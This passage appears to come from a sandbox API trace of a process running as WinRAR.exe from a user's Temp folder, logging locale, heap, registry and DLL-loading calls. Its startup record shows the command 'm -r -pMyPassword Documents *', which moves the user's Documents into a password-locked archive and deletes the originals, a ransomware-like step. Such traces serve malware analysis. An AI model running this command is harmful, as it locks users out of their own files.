¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.856] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x1eee90, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0049.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x1ef4d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08", lpUsedDefaultChar=0x0) returned 256 [0049.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1ef3d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1ef3d0, cbMultiByte=256, lpWideCharStr=0x1ef0a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0049.857] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.857] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x1eee90, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0049.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x1ef5d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x100) returned 0x30a410 [0049.857] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x13f342ff0, nSize=0x104 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x87) returned 0x2f9b60 [0049.857] RtlInitializeSListHead (in: ListHead=0x13f342e00 | out: ListHead=0x13f342e00) [0049.857] GetLastError () returned 0x0 [0049.857] SetLastError (dwErrCode=0x0) [0049.857] GetEnvironmentStringsW () returned 0x30a520* [0049.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\WhuOXYsD\\Documents", cchWideChar=1371, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1371 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x55b) returned 0x30afe0 [0049.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\WhuOXYsD\\Documents", cchWideChar=1371, lpMultiByteStr=0x30afe0, cbMultiByte=1371, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Users\\WhuOXYsD\\Documents", lpUsedDefaultChar=0x0) returned 1371 [0049.857] FreeEnvironmentStringsW (penv=0x30a520) returned 1 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x130) returned 0x30b550 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1f) returned 0x2fbf60 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2a) returned 0x309800 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x31) returned 0x309840 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x3c) returned 0x2f6740 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x31) returned 0x309880 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1a) returned 0x2fbf90 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x24) returned 0x2fbfc0 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x14) returned 0x3065d0 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xd) returned 0x3065f0 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x19) returned 0x2fbff0 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2d) returned 0x3098c0 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1b) returned 0x2fc020 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x17) returned 0x306610 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xe) returned 0x306630 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x8d) returned 0x30b690 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x3e) returned 0x2f6790 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1d) returned 0x2fc050 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x48) returned 0x2f67e0 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x12) returned 0x306650 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x306670 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1b) returned 0x2fc080 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1e) returned 0x2fc0b0 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x29) returned 0x309900 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1e) returned 0x2fc0e0 [0049.857] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xc) returned 0x306690 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x41) returned 0x2f6830 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x17) returned 0x3066b0 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xf) returned 0x3066d0 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x16) returned 0x3066f0 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2a) returned 0x309940 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x29) returned 0x309980 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x306710 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x12) returned 0x306730 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1e) returned 0x2fc110 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x12) returned 0x306750 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x306770 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x46) returned 0x2f6880 [0049.858] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x30afe0 | out: hHeap=0x2e0000) returned 1 [0049.858] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77ae0000 [0049.858] GetProcAddress (hModule=0x77ae0000, lpProcName="InitializeConditionVariable") returned 0x77c384f0 [0049.858] GetProcAddress (hModule=0x77ae0000, lpProcName="SleepConditionVariableCS") returned 0x77b2b230 [0049.858] GetProcAddress (hModule=0x77ae0000, lpProcName="WakeAllConditionVariable") returned 0x77c200b0 [0049.858] RtlInitializeConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0049.858] QueryPerformanceFrequency (in: lpFrequency=0x1efc20 | out: lpFrequency=0x1efc20*=100000000) returned 1 [0049.858] QueryPerformanceCounter (in: lpPerformanceCount=0x1efc28 | out: lpPerformanceCount=0x1efc28*=12519857643) returned 1 [0049.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1000) returned 0x30a520 [0049.858] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13f251a80) returned 0x0 [0049.859] GetCurrentProcess () returned 0xffffffffffffffff [0049.859] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1efb10, lpSystemAffinityMask=0x1efb18 | out: lpProcessAffinityMask=0x1efb10, lpSystemAffinityMask=0x1efb18) returned 1 [0049.859] GetCurrentProcess () returned 0xffffffffffffffff [0049.859] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1efb20, lpSystemAffinityMask=0x1efb28 | out: lpProcessAffinityMask=0x1efb20, lpSystemAffinityMask=0x1efb28) returned 1 [0049.860] GetCurrentProcess () returned 0xffffffffffffffff [0049.860] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1efb50, lpSystemAffinityMask=0x1efb58 | out: lpProcessAffinityMask=0x1efb50, lpSystemAffinityMask=0x1efb58) returned 1 [0049.861] GetCurrentProcess () returned 0xffffffffffffffff [0049.861] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1efb50, lpSystemAffinityMask=0x1efb58 | out: lpProcessAffinityMask=0x1efb50, lpSystemAffinityMask=0x1efb58) returned 1 [0049.861] GetSystemMetrics (nIndex=7) returned 3 [0050.286] GetSystemMetrics (nIndex=8) returned 3 [0050.290] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x1efbf0 | out: lpCPInfo=0x1efbf0) returned 1 [0050.296] GetDC (hWnd=0x0) returned 0xf01083e [0050.296] GetDeviceCaps (hdc=0xf01083e, index=90) returned 96 [0050.296] ReleaseDC (hWnd=0x0, hDC=0xf01083e) returned 1 [0050.296] GetDC (hWnd=0x0) returned 0x1e0107f2 [0050.296] GetDeviceCaps (hdc=0x1e0107f2, index=88) returned 96 [0050.296] ReleaseDC (hWnd=0x0, hDC=0x1e0107f2) returned 1 [0050.296] GetStartupInfoW (in: lpStartupInfo=0x1efbd0 | out: lpStartupInfo=0x1efbd0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0050.296] GetModuleHandleW (lpModuleName="kernel32") returned 0x77ae0000 [0050.296] GetProcAddress (hModule=0x77ae0000, lpProcName="SetDllDirectoryW") returned 0x77b2d8c0 [0050.296] SetDllDirectoryW (lpPathName="") returned 1 [0050.297] GetProcAddress (hModule=0x77ae0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0050.297] SetErrorMode (uMode=0x8005) returned 0x0 [0050.297] GetCurrentProcess () returned 0xffffffffffffffff [0050.297] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1eca90, lpSystemAffinityMask=0x1eca98 | out: lpProcessAffinityMask=0x1eca90, lpSystemAffinityMask=0x1eca98) returned 1 [0050.297] GetCurrentThreadId () returned 0xa30 [0050.297] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xc0 [0050.297] RegisterClipboardFormatW (lpszFormat="WMUser_DisplayError") returned 0xc13e [0050.297] GetModuleHandleExW (in: dwFlags=0x6, lpModuleName=0x13f1fcf8c, phModule=0x1ebd40 | out: phModule=0x1ebd40*=0x13f160000) returned 1 [0050.297] GetModuleFileNameW (in: hModule=0x13f160000, lpFilename=0x13f2e9740, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0050.297] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0050.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0050.298] SHGetMalloc (in: ppMalloc=0x1ebcc0 | out: ppMalloc=0x1ebcc0*=0x7fefe535380) returned 0x0 [0050.298] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1ebd08 | out: ppidl=0x1ebd08) returned 0x0 [0051.508] SHGetPathFromIDListW (in: pidl=0x32e6b0, pszPath=0x13f2e9740 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0051.509] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0xffffffff [0051.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0xffffffff [0051.509] IMalloc:Free (This=0x7fefe535380, pv=0x32e6b0) [0051.509] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0xffffffff [0051.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0xffffffff [0051.509] GetLastError () returned 0x2 [0051.509] SetLastError (dwErrCode=0x2) [0051.510] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x1ebed0 | out: phkResult=0x1ebed0*=0x0) returned 0x2 [0051.510] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1ecaf0 | out: phkResult=0x1ecaf0*=0x0) returned 0x2 [0051.510] SHGetMalloc (in: ppMalloc=0x1eca90 | out: ppMalloc=0x1eca90*=0x7fefe535380) returned 0x0 [0051.510] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1ecad8 | out: ppidl=0x1ecad8) returned 0x0 [0051.510] SHGetPathFromIDListW (in: pidl=0x32e6b0, pszPath=0x1edc10 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0051.511] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0xffffffff [0051.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0xffffffff [0051.511] CreateDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar"), lpSecurityAttributes=0x0) returned 1 [0051.512] IMalloc:Free (This=0x7fefe535380, pv=0x32e6b0) [0051.512] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ebaf0, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0051.512] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x1e9958 | out: phkResult=0x1e9958*=0x0) returned 0x2 [0051.512] GetVersionExW (in: lpVersionInformation=0x1eb9d0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x30, szCSDVersion="") | out: lpVersionInformation=0x1eb9d0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0051.512] LoadLibraryExW (lpLibFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\rarlng.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0051.512] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x1e9a88 | out: phkResult=0x1e9a88*=0x0) returned 0x2 [0051.512] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1e8a90, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0051.513] CreateFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0051.513] GetLastError () returned 0x2 [0051.513] CreateFileW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0051.513] GetLastError () returned 0x2 [0051.513] FindResourceW (hModule=0x13f160000, lpName="RTL", lpType=0x5) returned 0x0 [0051.513] LoadIconW (hInstance=0x13f160000, lpIconName=0x65) returned 0xf00fd [0051.514] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0051.514] RegisterClassW (lpWndClass=0x1ecb90) returned 0xc140 [0051.515] RegisterClassW (lpWndClass=0x1ecb90) returned 0xc141 [0051.515] RegisterClassW (lpWndClass=0x1ecb90) returned 0xc142 [0051.515] RegisterClassW (lpWndClass=0x1ecb90) returned 0xc143 [0051.515] RegisterClassW (lpWndClass=0x1ecb90) returned 0xc144 [0051.515] GetSystemDirectoryW (in: lpBuffer=0x1ebab0, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0051.515] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\riched20.dll") returned 0x7fef7980000 [0052.046] OleInitialize (pvReserved=0x0) returned 0x0 [0052.046] InitCommonControlsEx (picce=0x1ecb20) returned 1 [0052.047] GdiplusStartup (in: token=0x1ecb28, 